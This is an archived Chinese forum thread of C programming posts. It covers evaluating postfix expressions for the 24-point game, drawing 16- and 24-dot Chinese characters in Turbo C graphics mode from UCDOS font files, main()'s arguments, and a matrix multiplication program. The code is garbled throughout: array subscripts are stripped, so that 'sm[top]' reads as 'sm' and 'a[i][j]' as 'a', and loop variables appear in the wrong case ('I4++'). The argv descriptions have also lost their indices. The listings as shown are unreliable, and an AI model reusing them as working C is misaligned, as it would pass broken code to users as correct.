/* 由后缀表达式来计算表达式的值 */
int calc()
{ int i=0,sm,tr; char c;
c=sp; top=-1;
while(c!='\0')
{ if(islower(c)) sm[++top]=ver;/*在转换过程中用abcd等来代替数，
这样才可以更方便的处理非一位数，
ver数组中存放着这些字母所代替的数*/
else switch(c)
{ case '+': tr=sm; sm+=tr; break;
case '-': tr=sm; sm-=tr; break;
case '*': tr=sm; sm*=tr; break;
case '/': tr=sm;sm/=tr;break;
default : return(1);
}
c=sp[++i];
}
if(top>0) return(1);
else { result=sm; return(0); }
}

　　这样这个程序基本上就算解决了，回过头来拿这个程序来算一算文章开始的那个问题。哈哈，算出来了，原来如此简单——（6-3）*10-6=24。

　　最后我总结了一下这其中容易出错的地方——

　　1、排列的时候由于一个数只能出现一次，所以必然有一个判断语句。但是用什么来判断，用大小显然不行，因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号，在排列结束时，通过这个代号找到这个数。

　　2、在应用嵌套函数时，需仔细分析程序的执行过程，并对个别变量进行适当的调整（如j的值）,程序才能正确的执行。

　　3、在分析括号问题的时候要认真仔细，不要错过任何一个可能的机会，也要尽量使程序变得简单一些。不过我的分析可能也有问题，还请高手指点。

　　4、在用函数对一个数组进行处理的时候，一定要注意如果这个数组还需要再应用，就必须将它先保存起来，否则会出错，而且是很严重的错误。

　　5、在处理用户输入的表达式时，由于一个十位数或者更高位数是被分解成各位数存放在数组中，所以需对它们进行处理，将它们转化成实际的整型变量。另外，在转化过程中，用一个字母来代替这个数，并将这个数存在一个数组中，且它在数组中的位置和代替它的这个字母有一定的联系，这样才能取回这个数。

　　6、由于在穷举过程难免会出现计算过程中有除以0的计算，所以我们必须对calc函数种对于除的运算加以处理，否则程序会因为出错而退出（Divide by 0）。

　　7、最后一个问题，本程序尚未解决。对于一些比较著名的题目，本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数，而本程序并没有考虑到小数。

韩冰发表于 2004-10-4 02:41

图形模式下的汉字显示　　我们在编写一些应用软件时，为了使软件更为通俗浅显、易学易用，具备汉字的用户界面是必不可少的条件。在文本模式下，只要有汉字操作系统的支持，显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习Ｃ语言！");}
　　在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究，并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持，但用到其中的字库文件。如ＵＣＤＯＳ的HZK16。
　　汉字显示的第一步是打开字库文件。
　　函数： int OpenHz(const char *Hz16Path); 功能：打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后，就可以用下面介绍的函数显示16点阵的汉字。
　　函数： int WrtHz16(int x,int y,int z,int color,char *p); 功能：在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)
{
unsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
int rec,i1,i2,i3; /*z:space between;*/
long l; /*color:txt color*/
char by; /*p:HZ str*/
if( handle<0 ) return -1; while((i=*p++)!=0){
if(i>0xa1)
if(f==0){
c1=(i-0xa1)&0x07f;
f=1;
}
else{
c2=(i-0xa1)&0x07f;
f=0;
rec=c1*94+c2;
l=rec*32L;
lseek(handle,l,SEEK_SET);
read(handle,by,32);
for(i1=0;i1<16;i1++)
for(i2=0;i2<2;i2++)
for(i3=0;i3<8;i3++)
if(GetBit(by,7-i3))
putpixel(x+i2*8+i3,y+i1,color);
x=x+z+16;
}
}
return(x);
}
函数GetBit定义如下：
　　函数： int GetBit(unsigned char c,int n); 功能：取得汉字的点阵数据。
int GetBit(unsigned char c,int n)
{
return((c>>n)&1);
}
汉字显示结束，应该关闭字库文件。
void CloseHz(void)
{
close( handle );
}
#include "\Caic\Include\Hz.h"
#include <GRAPHICS.H>
#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";
const char* HzStr = "苦丁香Ｃ语言辅助学习软件";
void main(){
int gr=DETECT,gm;
initgraph(&gr,&gm,"\\Caic\\Bgi");
OpenHz( Hz16Path );
Wrt16Hz(20,20,4,RED,HzStr);
CloseHz();
getch();
closegraph();
}显示２４点阵及放大汉字
　　下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如ＵＣＤＯＳ的HZK24S。
函数： int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能：显示２４点阵及放大汉字。
int WrtHz24(int x,int y,int z,int color,int m,int n,char *p)
{
unsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/
int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置（x,y）*/
long l; /*color:汉字颜色*/
char by; /*m: x 方向的放大倍数*/
/*n: y 方向的放大倍数*/
if( handle<0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){
if(i>0xa1)
if(f==0){
c1=(i-0xa1)&0x7f;
f=1;
}
else{
c2=(i-0xa1)&0x7f;
f=0;
rec=(c1-15)*94+c2;
l=rec*72L;
lseek(handle,l,SEEK_SET);
read(handle,by,72);
for(i1=0;i1<24*m;i1=i1+m)
for(i4=0;i4<M;I4++)
for(i2=0;i2<=2;i2++)
for(i3=0;i3<8;i3++)
if(GetBit(by,7-i3))
for(i5=0;i5<N;I5++)
putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
x=x+24*m+z;
}
}
return(x);
} 使用Wrt24Hz的例子：#include "\Caic\Include\Hz.h"
#include <GRAPHICS.H>
#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."
const char* HzStr = "苦丁香Ｃ语言辅助学习软件";
void main(){
int gr=DETECT,gm;
initgraph(&gr,gm,"\\Caic\\Bgi");
OpenHz( Hz24Path );
Wrt24Hz(20,20, /*先是在（x,y）*/
4, /*汉字间的空格为4*/
RED, /*用红色显示*/
2, /*x 方向放大２倍*/
4, /*y 方向放大４倍*/
HzStr); /*显示字符串*/
CloseHz();
getch();
closegraph();
}

韩冰发表于 2004-10-4 02:41

再谈main()主函数
　　每一C 程序都必须有一main()函数，可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面，而另一些程序员把它放在最后面，无论放在哪个地方，以下几点说明都是适合的。
1. main() 参数
　　在Turbo C2.0启动过程中，传递main()函数三个参数：argc，argv和env。
　　* argc: 整数，为传给main()的命令行参数个数。
　　* argv: 字符串数组。
在DOS 3.X 版本中，argv 为程序运行的全路径名；
对DOS 3.0 以下的版本，argv为空串("") 。argv 为在DOS 命令行中执行程序名后的第一个字符串；argv 为执行程序名后的第二个字符串；
...
argv为NULL。
　　*env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
值如C:\DOS，C:\TURBOC(对于PATH) 或YES(对于87)。

韩冰发表于 2004-10-4 02:43

两个矩阵相乘的源程序/*****************A=B*C******************/
#include<stdio.h>
#include<conio.h>
#define X 3
#define Y 3int a;
int b;
int c;void matrix(int b[],int c[]);
main()
{
int i,j,temp;
clrscr();
printf("Please input int matrix b[%d][%d]\n",X,Y);
for(i=0;i<Y;i++)
for(j=0;j<Y;j++){
scanf("%d",&temp);
b=temp;
}
printf("Please input int matrix c[%d][%d]\n",X,Y);
for(i=0;i<X;i++)
for(j=0;j<Y;j++){
scanf("%d",&temp);
c=temp;
}
matrix(b,c);
printf("Now print resource matrix b[%d][%d]=",X,Y);
for(i=0;i<X;i++){
printf("\n");
for(j=0;j<Y;j++)
printf("%d ",b);
}
printf("\n");
printf("Now print resource matrix c[%d][%d]=",X,Y);
for(i=0;i<X;i++){
printf("\n");
for(j=0;j<Y;j++)
printf("%d ",c);
}
printf("\n");
printf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);
for(i=0;i<X;i++){
printf("\n");
for(j=0;j<Y;j++)
printf("%d ",a);
}
getch();
return 0;
}
/********************************************************************/
void matrix(int b[],int c[])
{
int i,j,k,temp;
for(i=0;i<X;i++)
for(j=0;j<Y;j++){
for(k=0;k<Y;k++)
a+=b*c;
}
}

页: [1]

数学建模社区-数学中国's Archiver

C语言技术文章